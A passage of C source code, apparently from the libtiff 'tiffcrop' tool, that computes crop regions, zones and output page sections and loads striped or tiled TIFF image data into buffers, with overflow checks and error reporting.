RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } if (crop->crop_mode & CROP_REGIONS) { max_width = max_length = 0; for (i = 0; i < crop->regions; i++) { if ((crop->res_unit == RESUNIT_INCH) || (crop->res_unit == RESUNIT_CENTIMETER)) { x1 = (uint32) (crop->corners[i].X1 * scale * xres); x2 = (uint32) (crop->corners[i].X2 * scale * xres); y1 = (uint32) (crop->corners[i].Y1 * scale * yres); y2 = (uint32) (crop->corners[i].Y2 * scale * yres); } else { x1 = (uint32) (crop->corners[i].X1); x2 = (uint32) (crop->corners[i].X2); y1 = (uint32) (crop->corners[i].Y1); y2 = (uint32) (crop->corners[i].Y2); } if (x1 < 1) crop->regionlist[i].x1 = 0; else crop->regionlist[i].x1 = (uint32) (x1 - 1); if (x2 > image->width - 1) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = (uint32) (x2 - 1); zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; if (y1 < 1) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = (uint32) (y1 - 1); if (y2 > image->length - 1) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = (uint32) (y2 - 1); zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; if (zwidth > max_width) max_width = zwidth; if (zlength > max_length) max_length = zlength; buffsize = (uint32) (((zwidth * image->bps * image->spp + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (crop->img_mode == COMPOSITE_IMAGES) { switch (crop->edge_ref) { case EDGE_LEFT: case EDGE_RIGHT: crop->combined_length = zlength; crop->combined_width += zwidth; break; case EDGE_BOTTOM: case EDGE_TOP: /* width from left, length from top */ default: crop->combined_width = zwidth; crop->combined_length += zlength; break; } } } return (0); } /* Convert crop margins into offsets into image * Margins are expressed as pixel rows and columns, not bytes */ if (crop->crop_mode & CROP_MARGINS) { if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { /* User has specified pixels as reference unit */ tmargin = (uint32)(crop->margins[0]); lmargin = (uint32)(crop->margins[1]); bmargin = (uint32)(crop->margins[2]); rmargin = (uint32)(crop->margins[3]); } else { /* inches or centimeters specified */ tmargin = (uint32)(crop->margins[0] * scale * yres); lmargin = (uint32)(crop->margins[1] * scale * xres); bmargin = (uint32)(crop->margins[2] * scale * yres); rmargin = (uint32)(crop->margins[3] * scale * xres); } if ((lmargin + rmargin) > image->width) { TIFFError("computeInputPixelOffsets", "Combined left and right margins exceed image width"); lmargin = (uint32) 0; rmargin = (uint32) 0; return (-1); } if ((tmargin + bmargin) > image->length) { TIFFError("computeInputPixelOffsets", "Combined top and bottom margins exceed image length"); tmargin = (uint32) 0; bmargin = (uint32) 0; return (-1); } } else { /* no margins requested */ tmargin = (uint32) 0; lmargin = (uint32) 0; bmargin = (uint32) 0; rmargin = (uint32) 0; } /* Width, height, and margins are expressed as pixel offsets into image */ if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { if (crop->crop_mode & CROP_WIDTH) width = (uint32)crop->width; else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)crop->length; else length = image->length - tmargin - bmargin; } else { if (crop->crop_mode & CROP_WIDTH) width = (uint32)(crop->width * scale * image->xres); else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)(crop->length * scale * image->yres); else length = image->length - tmargin - bmargin; } off->tmargin = tmargin; off->bmargin = bmargin; off->lmargin = lmargin; off->rmargin = rmargin; /* Calculate regions defined by margins, width, and length. * Coordinates expressed as 0 to imagewidth - 1, imagelength - 1, * since they are used to compute offsets into buffers */ switch (crop->edge_ref) { case EDGE_BOTTOM: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; endy = image->length - bmargin - 1; if ((endy - length) <= tmargin) starty = tmargin; else starty = endy - length + 1; break; case EDGE_RIGHT: endx = image->width - rmargin - 1; if ((endx - width) <= lmargin) startx = lmargin; else startx = endx - width + 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; case EDGE_TOP: /* width from left, length from top */ case EDGE_LEFT: default: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; } off->startx = startx; off->starty = starty; off->endx = endx; off->endy = endy; crop_width = endx - startx + 1; crop_length = endy - starty + 1; if (crop_width <= 0) { TIFFError("computeInputPixelOffsets", "Invalid left/right margins and /or image crop width requested"); return (-1); } if (crop_width > image->width) crop_width = image->width; if (crop_length <= 0) { TIFFError("computeInputPixelOffsets", "Invalid top/bottom margins and /or image crop length requested"); return (-1); } if (crop_length > image->length) crop_length = image->length; off->crop_width = crop_width; off->crop_length = crop_length; return (0); } /* end computeInputPixelOffsets */ /* * Translate crop options into pixel offsets for one or more regions of the image. * Options are applied in this order: margins, specific width and length, zones, * but all are optional. Margins are relative to each edge. Width, length and * zones are relative to the specified reference edge. Zones are expressed as * X:Y where X is the ordinal value in a set of Y equal sized portions. eg. * 2:3 would indicate the middle third of the region qualified by margins and * any explicit width and length specified. Regions are specified by coordinates * of the top left and lower right corners with range 1 to width or height. */ static int getCropOffsets(struct image_data *image, struct crop_mask *crop, struct dump_opts *dump) { struct offset offsets; int i; int32 test; uint32 seg, total, need_buff = 0; uint32 buffsize; uint32 zwidth, zlength; memset(&offsets, '\0', sizeof(struct offset)); crop->bufftotal = 0; crop->combined_width = (uint32)0; crop->combined_length = (uint32)0; crop->selections = 0; /* Compute pixel offsets if margins or fixed width or length specified */ if ((crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH)) { if (computeInputPixelOffsets(crop, image, &offsets)) { TIFFError ("getCropOffsets", "Unable to compute crop margins"); return (-1); } need_buff = TRUE; crop->selections = crop->regions; /* Regions are only calculated from top and left edges with no margins */ if (crop->crop_mode & CROP_REGIONS) return (0); } else { /* cropped area is the full image */ offsets.tmargin = 0; offsets.lmargin = 0; offsets.bmargin = 0; offsets.rmargin = 0; offsets.crop_width = image->width; offsets.crop_length = image->length; offsets.startx = 0; offsets.endx = image->width - 1; offsets.starty = 0; offsets.endy = image->length - 1; need_buff = FALSE; } if (dump->outfile != NULL) { dump_info (dump->outfile, dump->format, "", "Margins: Top: %d Left: %d Bottom: %d Right: %d", offsets.tmargin, offsets.lmargin, offsets.bmargin, offsets.rmargin); dump_info (dump->outfile, dump->format, "", "Crop region within margins: Adjusted Width: %6d Length: %6d", offsets.crop_width, offsets.crop_length); } if (!(crop->crop_mode & CROP_ZONES)) /* no crop zones requested */ { if (need_buff == FALSE) /* No margins or fixed width or length areas */ { crop->selections = 0; crop->combined_width = image->width; crop->combined_length = image->length; return (0); } else { /* Use one region for margins and fixed width or length areas * even though it was not formally declared as a region. */ crop->selections = 1; crop->zones = 1; crop->zonelist[0].total = 1; crop->zonelist[0].position = 1; } } else crop->selections = crop->zones; for (i = 0; i < crop->zones; i++) { seg = crop->zonelist[i].position; total = crop->zonelist[i].total; switch (crop->edge_ref) { case EDGE_LEFT: /* zones from left to right, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * 1.0 * (seg - 1) / total); test = (int32)offsets.startx + (int32)(offsets.crop_width * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_BOTTOM: /* width from left, zones from bottom to top */ zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; test = offsets.endy - (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = test + 1; test = offsets.endy - (offsets.crop_length * 1.0 * (seg - 1) / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; case EDGE_RIGHT: /* zones from right to left, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * (total - seg) * 1.0 / total); test = offsets.startx + (offsets.crop_width * (total - seg + 1) * 1.0 / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_TOP: /* width from left, zones from top to bottom */ default: zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; crop->regionlist[i].y1 = offsets.starty + (uint32)(offsets.crop_length * 1.0 * (seg - 1) / total); test = offsets.starty + (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test - 1; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; } /* end switch statement */ buffsize = (uint32) ((((zwidth * image->bps * image->spp) + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].width = (uint32) zwidth; crop->regionlist[i].length = (uint32) zlength; crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (dump->outfile != NULL) dump_info (dump->outfile, dump->format, "", "Zone %d, width: %4d, length: %4d, x1: %4d x2: %4d y1: %4d y2: %4d", i + 1, (uint32)zwidth, (uint32)zlength, crop->regionlist[i].x1, crop->regionlist[i].x2, crop->regionlist[i].y1, crop->regionlist[i].y2); } return (0); } /* end getCropOffsets */ static int computeOutputPixelOffsets (struct crop_mask *crop, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts* dump) { double scale; double pwidth, plength; /* Output page width and length in user units*/ uint32 iwidth, ilength; /* Input image width and length in pixels*/ uint32 owidth, olength; /* Output image width and length in pixels*/ uint32 orows, ocols; /* rows and cols for output */ uint32 hmargin, vmargin; /* Horizontal and vertical margins */ uint32 x1, x2, y1, y2, line_bytes; /* unsigned int orientation; */ uint32 i, j, k; scale = 1.0; if (page->res_unit == RESUNIT_NONE) page->res_unit = image->res_unit; switch (image->res_unit) { case RESUNIT_CENTIMETER: if (page->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (page->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } /* get width, height, resolutions of input image selection */ if (crop->combined_width > 0) iwidth = crop->combined_width; else iwidth = image->width; if (crop->combined_length > 0) ilength = crop->combined_length; else ilength = image->length; if (page->hres <= 1.0) page->hres = image->xres; if (page->vres <= 1.0) page->vres = image->yres; if ((page->hres < 1.0) || (page->vres < 1.0)) { TIFFError("computeOutputPixelOffsets", "Invalid horizontal or vertical resolution specified or read from input image"); return (1); } /* If no page sizes are being specified, we just use the input image size to * calculate maximum margins that can be taken from image. */ if (page->width <= 0) pwidth = iwidth; else pwidth = page->width; if (page->length <= 0) plength = ilength; else plength = page->length; if (dump->debug) { TIFFError("", "Page size: %s, Vres: %3.2f, Hres: %3.2f, " "Hmargin: %3.2f, Vmargin: %3.2f", page->name, page->vres, page->hres, page->hmargin, page->vmargin); TIFFError("", "Res_unit: %d, Scale: %3.2f, Page width: %3.2f, length: %3.2f", page->res_unit, scale, pwidth, plength); } /* compute margins at specified unit and resolution */ if (page->mode & PAGE_MODE_MARGINS) { if (page->res_unit == RESUNIT_INCH || page->res_unit == RESUNIT_CENTIMETER) { /* inches or centimeters specified */ hmargin = (uint32)(page->hmargin * scale * page->hres * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * page->vres * ((image->bps + 7)/ 8)); } else { /* Otherwise user has specified pixels as reference unit */ hmargin = (uint32)(page->hmargin * scale * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * ((image->bps + 7)/ 8)); } if ((hmargin * 2.0) > (pwidth * page->hres)) { TIFFError("computeOutputPixelOffsets", "Combined left and right margins exceed page width"); hmargin = (uint32) 0; return (-1); } if ((vmargin * 2.0) > (plength * page->vres)) { TIFFError("computeOutputPixelOffsets", "Combined top and bottom margins exceed page length"); vmargin = (uint32) 0; return (-1); } } else { hmargin = 0; vmargin = 0; } if (page->mode & PAGE_MODE_ROWSCOLS ) { /* Maybe someday but not for now */ if (page->mode & PAGE_MODE_MARGINS) TIFFError("computeOutputPixelOffsets", "Output margins cannot be specified with rows and columns"); owidth = TIFFhowmany(iwidth, page->cols); olength = TIFFhowmany(ilength, page->rows); } else { if (page->mode & PAGE_MODE_PAPERSIZE ) { owidth = (uint32)((pwidth * page->hres) - (hmargin * 2)); olength = (uint32)((plength * page->vres) - (vmargin * 2)); } else { owidth = (uint32)(iwidth - (hmargin * 2 * page->hres)); olength = (uint32)(ilength - (vmargin * 2 * page->vres)); } } if (owidth > iwidth) owidth = iwidth; if (olength > ilength) olength = ilength; /* Compute the number of pages required for Portrait or Landscape */ switch (page->orient) { case ORIENTATION_NONE: case ORIENTATION_PORTRAIT: ocols = TIFFhowmany(iwidth, owidth); orows = TIFFhowmany(ilength, olength); /* orientation = ORIENTATION_PORTRAIT; */ break; case ORIENTATION_LANDSCAPE: ocols = TIFFhowmany(iwidth, olength); orows = TIFFhowmany(ilength, owidth); x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ break; case ORIENTATION_AUTO: default: x1 = TIFFhowmany(iwidth, owidth); x2 = TIFFhowmany(ilength, olength); y1 = TIFFhowmany(iwidth, olength); y2 = TIFFhowmany(ilength, owidth); if ( (x1 * x2) < (y1 * y2)) { /* Portrait */ ocols = x1; orows = x2; /* orientation = ORIENTATION_PORTRAIT; */ } else { /* Landscape */ ocols = y1; orows = y2; x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ } } if (ocols < 1) ocols = 1; if (orows < 1) orows = 1; /* If user did not specify rows and cols, set them from calcuation */ if (page->rows < 1) page->rows = orows; if (page->cols < 1) page->cols = ocols; line_bytes = TIFFhowmany8(owidth * image->bps) * image->spp; if ((page->rows * page->cols) > MAX_SECTIONS) { TIFFError("computeOutputPixelOffsets", "Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections"); return (-1); } /* build the list of offsets for each output section */ for (k = 0, i = 0 && k <= MAX_SECTIONS; i < orows; i++) { y1 = (uint32)(olength * i); y2 = (uint32)(olength * (i + 1) - 1); if (y2 >= ilength) y2 = ilength - 1; for (j = 0; j < ocols; j++, k++) { x1 = (uint32)(owidth * j); x2 = (uint32)(owidth * (j + 1) - 1); if (x2 >= iwidth) x2 = iwidth - 1; sections[k].x1 = x1; sections[k].x2 = x2; sections[k].y1 = y1; sections[k].y2 = y2; sections[k].buffsize = line_bytes * olength; sections[k].position = k + 1; sections[k].total = orows * ocols; } } return (0); } /* end computeOutputPixelOffsets */ static int loadImage(TIFF* in, struct image_data *image, struct dump_opts *dump, unsigned char **read_ptr) { uint32 i; float xres = 0.0, yres = 0.0; uint16 nstrips = 0, ntiles = 0, planar = 0; uint16 bps = 0, spp = 0, res_unit = 0; uint16 orientation = 0; uint16 input_compression = 0, input_photometric = 0; uint16 subsampling_horiz, subsampling_vert; uint32 width = 0, length = 0; uint32 stsize = 0, tlsize = 0, buffsize = 0, scanlinesize = 0; uint32 tw = 0, tl = 0; /* Tile width and length */ uint32 tile_rowsize = 0; unsigned char *read_buff = NULL; unsigned char *new_buff = NULL; int readunit = 0; static uint32 prev_readsize = 0; TIFFGetFieldDefaulted(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_SAMPLESPERPIXEL, &spp); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ORIENTATION, &orientation); if (! TIFFGetFieldDefaulted(in, TIFFTAG_PHOTOMETRIC, &input_photometric)) TIFFError("loadImage","Image lacks Photometric interpreation tag"); if (! TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width)) TIFFError("loadimage","Image lacks image width tag"); if(! TIFFGetField(in, TIFFTAG_IMAGELENGTH, &length)) TIFFError("loadimage","Image lacks image length tag"); TIFFGetFieldDefaulted(in, TIFFTAG_XRESOLUTION, &xres); TIFFGetFieldDefaulted(in, TIFFTAG_YRESOLUTION, &yres); if (!TIFFGetFieldDefaulted(in, TIFFTAG_RESOLUTIONUNIT, &res_unit)) res_unit = RESUNIT_INCH; if (!TIFFGetField(in, TIFFTAG_COMPRESSION, &input_compression)) input_compression = COMPRESSION_NONE; #ifdef DEBUG2 char compressionid[16]; switch (input_compression) { case COMPRESSION_NONE: /* 1 dump mode */ strcpy (compressionid, "None/dump"); break; case COMPRESSION_CCITTRLE: /* 2 CCITT modified Huffman RLE */ strcpy (compressionid, "Huffman RLE"); break; case COMPRESSION_CCITTFAX3: /* 3 CCITT Group 3 fax encoding */ strcpy (compressionid, "Group3 Fax"); break; case COMPRESSION_CCITTFAX4: /* 4 CCITT Group 4 fax encoding */ strcpy (compressionid, "Group4 Fax"); break; case COMPRESSION_LZW: /* 5 Lempel-Ziv & Welch */ strcpy (compressionid, "LZW"); break; case COMPRESSION_OJPEG: /* 6 !6.0 JPEG */ strcpy (compressionid, "Old Jpeg"); break; case COMPRESSION_JPEG: /* 7 %JPEG DCT compression */ strcpy (compressionid, "New Jpeg"); break; case COMPRESSION_NEXT: /* 32766 NeXT 2-bit RLE */ strcpy (compressionid, "Next RLE"); break; case COMPRESSION_CCITTRLEW: /* 32771 #1 w/ word alignment */ strcpy (compressionid, "CITTRLEW"); break; case COMPRESSION_PACKBITS: /* 32773 Macintosh RLE */ strcpy (compressionid, "Mac Packbits"); break; case COMPRESSION_THUNDERSCAN: /* 32809 ThunderScan RLE */ strcpy (compressionid, "Thunderscan"); break; case COMPRESSION_IT8CTPAD: /* 32895 IT8 CT w/padding */ strcpy (compressionid, "IT8 padded"); break; case COMPRESSION_IT8LW: /* 32896 IT8 Linework RLE */ strcpy (compressionid, "IT8 RLE"); break; case COMPRESSION_IT8MP: /* 32897 IT8 Monochrome picture */ strcpy (compressionid, "IT8 mono"); break; case COMPRESSION_IT8BL: /* 32898 IT8 Binary line art */ strcpy (compressionid, "IT8 lineart"); break; case COMPRESSION_PIXARFILM: /* 32908 Pixar companded 10bit LZW */ strcpy (compressionid, "Pixar 10 bit"); break; case COMPRESSION_PIXARLOG: /* 32909 Pixar companded 11bit ZIP */ strcpy (compressionid, "Pixar 11bit"); break; case COMPRESSION_DEFLATE: /* 32946 Deflate compression */ strcpy (compressionid, "Deflate"); break; case COMPRESSION_ADOBE_DEFLATE: /* 8 Deflate compression */ strcpy (compressionid, "Adobe deflate"); break; default: strcpy (compressionid, "None/unknown"); break; } TIFFError("loadImage", "Input compression %s", compressionid); #endif scanlinesize = TIFFScanlineSize(in); image->bps = bps; image->spp = spp; image->planar = planar; image->width = width; image->length = length; image->xres = xres; image->yres = yres; image->res_unit = res_unit; image->compression = input_compression; image->photometric = input_photometric; #ifdef DEBUG2 char photometricid[12]; switch (input_photometric) { case PHOTOMETRIC_MINISWHITE: strcpy (photometricid, "MinIsWhite"); break; case PHOTOMETRIC_MINISBLACK: strcpy (photometricid, "MinIsBlack"); break; case PHOTOMETRIC_RGB: strcpy (photometricid, "RGB"); break; case PHOTOMETRIC_PALETTE: strcpy (photometricid, "Palette"); break; case PHOTOMETRIC_MASK: strcpy (photometricid, "Mask"); break; case PHOTOMETRIC_SEPARATED: strcpy (photometricid, "Separated"); break; case PHOTOMETRIC_YCBCR: strcpy (photometricid, "YCBCR"); break; case PHOTOMETRIC_CIELAB: strcpy (photometricid, "CIELab"); break; case PHOTOMETRIC_ICCLAB: strcpy (photometricid, "ICCLab"); break; case PHOTOMETRIC_ITULAB: strcpy (photometricid, "ITULab"); break; case PHOTOMETRIC_LOGL: strcpy (photometricid, "LogL"); break; case PHOTOMETRIC_LOGLUV: strcpy (photometricid, "LOGLuv"); break; default: strcpy (photometricid, "Unknown"); break; } TIFFError("loadImage", "Input photometric interpretation %s", photometricid); #endif image->orientation = orientation; switch (orientation) { case 0: case ORIENTATION_TOPLEFT: image->adjustments = 0; break; case ORIENTATION_TOPRIGHT: image->adjustments = MIRROR_HORIZ; break; case ORIENTATION_BOTRIGHT: image->adjustments = ROTATECW_180; break; case ORIENTATION_BOTLEFT: image->adjustments = MIRROR_VERT; break; case ORIENTATION_LEFTTOP: image->adjustments = MIRROR_VERT | ROTATECW_90; break; case ORIENTATION_RIGHTTOP: image->adjustments = ROTATECW_90; break; case ORIENTATION_RIGHTBOT: image->adjustments = MIRROR_VERT | ROTATECW_270; break; case ORIENTATION_LEFTBOT: image->adjustments = ROTATECW_270; break; default: image->adjustments = 0; image->orientation = ORIENTATION_TOPLEFT; } if ((bps == 0) || (spp == 0)) { TIFFError("loadImage", "Invalid samples per pixel (%d) or bits per sample (%d)", spp, bps); return (-1); } if (TIFFIsTiled(in)) { readunit = TILE; tlsize = TIFFTileSize(in); ntiles = TIFFNumberOfTiles(in); TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); tile_rowsize = TIFFTileRowSize(in); if (ntiles == 0 || tlsize == 0 || tile_rowsize == 0) { TIFFError("loadImage", "File appears to be tiled, but the number of tiles, tile size, or tile rowsize is zero."); exit(-1); } buffsize = tlsize * ntiles; if (tlsize != (buffsize / ntiles)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } if (buffsize < (uint32)(ntiles * tl * tile_rowsize)) { buffsize = ntiles * tl * tile_rowsize; if (ntiles != (buffsize / tl / tile_rowsize)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } #ifdef DEBUG2 TIFFError("loadImage", "Tilesize %u is too small, using ntiles * tilelength * tilerowsize %lu", tlsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Tilesize: %u, Number of Tiles: %u, Tile row size: %u", tlsize, ntiles, tile_rowsize); } else { uint32 buffsize_check; readunit = STRIP; TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); stsize = TIFFStripSize(in); nstrips = TIFFNumberOfStrips(in); if (nstrips == 0 || stsize == 0) { TIFFError("loadImage", "File appears to be striped, but the number of stipes or stripe size is zero."); exit(-1); } buffsize = stsize * nstrips; if (stsize != (buffsize / nstrips)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } buffsize_check = ((length * width * spp * bps) + 7); if (length != ((buffsize_check - 7) / width / spp / bps)) { TIFFError("loadImage", "Integer overflow detected."); exit(-1); } if (buffsize < (uint32) (((length * width * spp * bps) + 7) / 8)) { buffsize = ((length * width * spp * bps) + 7) / 8; #ifdef DEBUG2 TIFFError("loadImage", "Stripsize %u is too small, using imagelength * width * spp * bps / 8 = %lu", stsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Stripsize: %u, Number of Strips: %u, Rows per Strip: %u, Scanline size: %u", stsize, nstrips, rowsperstrip, scanlinesize); } if (input_compression == COMPRESSION_JPEG) { /* Force conversion to RGB */ jpegcolormode = JPEGCOLORMODE_RGB; TIFFSetField(in, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } /* The clause up to the read statement is taken from Tom Lane's tiffcp patch */ else { /* Otherwise, can't handle subsampled input */ if (input_photometric == PHOTOMETRIC_YCBCR) { TIFFGetFieldDefaulted(in, TIFFTAG_YCBCRSUBSAMPLING, &subsampling_horiz, &subsampling_vert); if (subsampling_horiz != 1 || subsampling_vert != 1) { TIFFError("loadImage", "Can't copy/convert subsampled image with subsampling %d horiz %d vert", subsampling_horiz, subsampling_vert); return (-1); } } } read_buff = *read_ptr; /* +3 : add a few guard bytes since reverseSamples16bits() can read a bit */ /* outside buffer */ if (!read_buff) read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); else { if (prev_readsize < buffsize) { new_buff = _TIFFrealloc(read_buff, buffsize+3); if (!new_buff) { free (read_buff); read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); } else read_buff = new_buff; } } if (!read_buff) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } read_buff[buffsize] = 0; read_buff[buffsize+1] = 0; read_buff[buffsize+2] = 0; prev_readsize = buffsize; *read_ptr = read_buff; /* N.B. The read functions used copy separate plane data into a buffer as interleaved * samples rather than separate planes so the same logic works to extract regions * regardless of the way the data are organized in the input file. */ switch (readunit) { case STRIP: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigStripsIntoBuffer(in, read_buff))) { TIFFError("loadImage", "Unable to read contiguous strips into buffer"); return (-1); } } else { if (!(readSeparateStripsIntoBuffer(in, read_buff, length, width, spp, dump))) { TIFFError("loadImage", "Unable to read separate strips into buffer"); return (-1); } } break; case TILE: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read contiguous tiles into buffer"); return (-1); } } else { if (!(readSeparateTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read separate tiles into buffer"); return (-1); } } break; default: TIFFError("loadImage", "Unsupported image file format"); return (-1); break; } if ((dump->infile != NULL) && (dump->level == 2)) { dump_info (dump->infile, dump->format, "loadImage", "Image width %d, length %d, Raw image data, %4d bytes", width, length, buffsize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d", bps, spp); for (i = 0; i < length; i++) dump_buffer(dump->infile, dump->format, 1, scanlinesize, i, read_buff + (i * scanlinesize)); } return (0); } /* end loadImage */ static int correct_orientation(struct image_data *image, unsigned char **work_buff_ptr) { uint16 mirror, rotation; unsigned char *work_buff; work_buff = *work_buff_ptr; if ((image == NULL) || (work_buff == NULL)) { TIFFError ("correct_orientatin", "Invalid image or buffer pointer"); return (-1); } if ((image->adjustments & MIRROR_HORIZ) || (image->adjustments & MIRROR_VERT)) { mirror = (uint16)(image->adjustments & MIRROR_BOTH); if (mirrorImage(image->spp, image->bps, mirror, image->width, image->length, work_buff)) { TIFFError ("correct_orientation", "Unable to mirror image"); return (-1); } } if (image->adjustments & ROTATE_ANY) { if (image->adjustments & ROTATECW_90) rotation = (uint16) 90; else if (image->adjustments & ROTATECW_180) rotation = (uint16) 180; else if (image->adjustments & ROTATECW_270) rotation = (uint16) 270; else { TIFFError ("correct_orientation", "Invalid rotation value: %d", image->adjustments & ROTATE_ANY); return (-1); } if (rotateImage(rotation, image, &image->width, &image->length, work_buff_ptr)) { TIFFError ("correct_orientation", "Unable to rotate image"); return (-1); } image->orientation = ORIENTATION_TOPLEFT; } return (0); } /* end correct_orientation */ /* Extract multiple zones from an image and combine into a single composite image */ static int extractCompositeRegions(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 i, trailing_bits, prev_trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_rowsize, dst_rowsize, src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint32 prev_length, prev_width, composite_width; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract one or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src = read_buff; dst = crop_buff; /* These are setup for adding additional sections */ prev_width = prev_length = 0; prev_trailing_bits = trailing_bits = 0; composite_width = crop->combined_width; crop->combined_width = 0; crop->combined_length = 0; for (i = 0; i < crop->selections; i++) { /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[i].y1; last_row = crop->regionlist[i].y2; first_col = crop->regionlist[i].x1; 